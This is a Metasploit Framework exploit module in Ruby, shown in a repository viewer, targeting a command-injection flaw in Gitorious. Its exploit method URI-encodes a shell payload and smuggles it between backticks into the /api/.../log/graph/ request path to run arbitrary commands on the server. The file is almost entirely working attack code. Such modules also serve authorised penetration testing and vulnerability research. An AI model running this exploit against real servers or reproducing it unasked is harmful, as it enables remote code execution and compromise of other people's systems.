Files
metasploit-gs/modules/exploits/multi/http/gitorious_graph.rb
T
Tod Beardsley c547e84fa7 Prefer Ruby style for single word collections
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.

This change converts all Payloads to this format if there is more than
one payload to choose from.

It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

See:
  https://github.com/bbatsov/ruby-style-guide#collections
2013-09-24 12:33:31 -05:00

79 lines
2.2 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitorious Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in gitorious. Unvalidated input is passed to the shell allowing
command execution.
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '78480' ],
[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x60",
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 19 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = normalize_uri(datastore['URI'])
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
command.gsub!("%20","%2520")
res = send_request_cgi({
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
handler
end
end